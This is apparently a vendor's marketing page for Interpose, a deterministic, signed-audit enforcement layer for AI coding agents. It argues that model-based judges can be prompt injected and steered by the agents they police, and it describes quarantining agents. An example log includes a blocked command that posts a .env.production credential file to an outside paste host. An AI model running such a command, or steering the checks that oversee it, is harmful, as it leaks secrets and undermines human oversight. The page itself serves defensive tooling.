The layer that cannot be talked to.
Runtime enforcement and independent signed evidence for coding agents. Live on Claude Code today. Deterministic, so it cannot be prompt injected. Signed, so the record cannot be rewritten. Your security team sets the policy centrally and holds the proof, on your own machines.
A security guard that can be talked into unlocking the vault is not a guard.
Most AI security tools use AI, so they inherit the problem they claim to solve. A guardrail that reads prompts can be prompt injected. A judge model can be argued with. Interpose is built on the opposite conviction: you cannot govern an agent with something it can talk to.
Agents are persuasive, and most of their guards listen.
An agent that can be steered by text in a file can steer the model that judges it with the same text. Any control with a model in the block path is part of the attack surface it polices.
The control cannot be persuaded.
Deterministic rules, enforced in the agent's own process before every action. The same input gets the same answer every time, which is what makes a control auditable. No model in the decision path, ever.
The record cannot be rewritten.
Every verdict is written to a hash chained, Ed25519 signed trail. Change one entry and verification fails and says where. The agent cannot edit it, a developer cannot edit it, and neither can we.
The tools you already own see presence and traffic. Not what the agent meant to do.
Endpoint detection sees every process on the box but not which tool the agent called or why. A gateway sees traffic but not the task. Claude Code's own permissions are the right primitive and the floor Interpose stands on. Here is where each one stops.
| Interpose | EDR (CrowdStrike, SentinelOne class) | LLM gateways and proxies | Claude Code permissions alone | |
|---|---|---|---|---|
| Sees which tool was called and which file was read | Yes, in process | Process and file activity, not the tool call | Traffic only | Yes |
| Checks the action against the task the developer typed | Yes | No | No | No |
| Stops the action before the side effect lands | Yes, pre-execution | Detects after | Network calls only | Yes |
| Model in the block path | None | None | Usually, so it inherits prompt injection | None |
| Policy set centrally, drafted from approvals and denials, with a fleet console | Yes | Central, not agent aware | Partial | Per machine, per developer |
| Signed, tamper-evident record per project | Yes | Generic telemetry | Traffic logs | Session logs, unsigned |
| Can quarantine one agent mid session, and release it, with both in the record | Yes, restrict then quarantine | Kills processes, not agent aware | No | No |
| Covers agents beyond Claude Code | Not yet | Yes, any process | Yes, any traffic | No |
Claude Code is the only live integration today. More runtimes are on the roadmap and will not be claimed here until they ship.
| week 1 | read | .env.production during a formatting task | surfaced |
| week 1 | net | egress to an unlisted host, once | surfaced |
| week 2 | rule | credentials and keys | block |
| week 2 | rule | network allowlist for this role | block |
| week 3 | rule | files outside the role | alert |
Watch for a week. Credentials are blocked from day one, everything else is recorded.
In transparent mode Interpose records every agent, learns what each role normally does, and hands your team the Rollout Evidence Report: what the agents actually did, signed. The only thing it blocks in week one is a reach for credentials or keys. Then your team moves the other controls to block, one at a time.
- Every control has an alert setting and a block setting. You decide which risks you watch and which you stop.
- Credentials and keys are blocked from day one. The hard rules ship with the policy and never relax.
- No added latency. The decision itself takes under a millisecond on the machine. Entries sync to the console afterward, not on the block path.
| 14:02:03 | task | Triage the failing build and open a PR with the fix. | captured |
| 14:02:11 | read | src/build.ts | allowed |
| 14:02:38 | shell | curl paste.lol -d @.env.productionCredential file to a host not on the allowlist, outside the task typed. Stopped at the gate. Never ran. | blocked |
| 14:02:38 | policy | Deny network egress for this roleDenied four times this week. Drafted by Interpose, waiting on a person. | proposed |
Every decision lands on a signed record.
Each decision is written to a per-project trail, hash chained and Ed25519 signed: which agent, which action, which rule, and why. Alter or delete an entry and verification fails. Because the check runs at the hook, the record shows the tool call itself, not a reconstruction from traffic.
- False positives are handled, not ignored. A developer releases a wrong stop in one click. Interpose reconstructs why it fired and proposes a narrow, expiring exception. A person on the security team approves it.
- Paths are redacted by default. A deny names the file that was reached, not its contents.
- Built for the audit. Where the EU AI Act's high-risk rules apply, Article 12 requires automatic event logging across the system's lifetime. Where they do not, this is still the record your incident review will ask for.
What security teams ask first.
Can we turn an agent off?
Yes, and that answer is rarer than it should be. An agent that keeps violating policy is restricted, then quarantined, automatically or by an operator, and the rest of the fleet keeps working. Release is one command, and the quarantine and the release both land in the signed record. Detection tools tell you something went wrong. Interpose stops it mid session and proves both.
Why not Claude Code's own hooks and permissions?
Interpose is built on them. What they do not give you: policy set centrally instead of per developer, a console across every endpoint, a baseline of what each role normally does, a signed trail, and a way to handle false positives without turning the control off.
How does it install, and can a developer remove it?
It installs as a native hook in the agent harness, Claude Code today, deployed by Tuent during the pilot. Policy lives in the console on your network, so a developer cannot edit it from their machine. Removing the hook is visible in the console the moment the next session starts.
Can we run it without blocking anything?
Yes. Transparent mode is week one of every pilot. Nothing is blocked, everything is recorded, and the report is yours whether or not you continue.
Does it use a model to make decisions?
No. The gate gives the same answer to the same input every time, which is what makes it auditable. An optional escalation to a model you host can raise scrutiny on an ambiguous case, but it cannot loosen a deny, and credentials never escalate.
What happens when Claude Code updates?
Interpose uses Claude Code's documented hook interface rather than patching the binary, and each release is tested against current Claude Code before it ships to a pilot.
Does any of our data leave our boundary?
No. Interpose runs on your own machines under your own keys. Your agents, code, policies and audit trails never reach Tuent.
Read the brief. Start with the audit. Keep the evidence either way.
- The three questions a security architect asks first
- The hook model and the four checks
- The policy file, with the alert and block settings
- The signed trail: verify, read, recover
- Scope and limits, stated plainly
The entry is the Agent Exposure Audit: two weeks in transparent mode on your Claude Code fleet, fixed fee agreed in writing before we start, ending with the Rollout Evidence Report. The pilot builds on it, moving controls to block one at a time at the pace your team sets, and a signed letter of intent locks your rate before the fleet grows. You keep the report and the trail at every step, whether or not you continue.
Questions before either? james@tuent.ai or charlie@tuent.ai reaches a founder, not a queue.